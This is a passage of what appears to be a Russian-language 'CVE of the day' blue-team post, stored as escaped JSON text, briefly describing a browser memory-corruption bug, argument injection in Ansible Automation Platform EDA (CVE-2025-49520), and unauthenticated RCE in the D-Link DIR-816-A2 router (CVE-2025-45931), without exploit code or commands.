\u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE \u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\ud83d\udd35 CVE-2025-49520 \u2014 \u0431\u0430\u0433 \u0432 RedHat Ansible Automation Platform (\u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 EDA), \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043d\u043e\u0439 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 Git URL. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0432 Git-\u0430\u0434\u0440\u0435\u0441, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 EDA worker. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e \u0432 \u0441\u0440\u0435\u0434\u0430\u0445 Kubernetes/OpenShift.\n\n\ud83d\udd35 CVE-2025-45931 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0435 D\u2011Link DIR\u2011816\u2011A2, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 system() \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0435 bin/goahead, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0435\u0439 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 HTTP\u2011\u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u0427\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 system \u2014 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-15T00:00:12.687615Z"} 2026-08-15T00:00:12.687615+00:00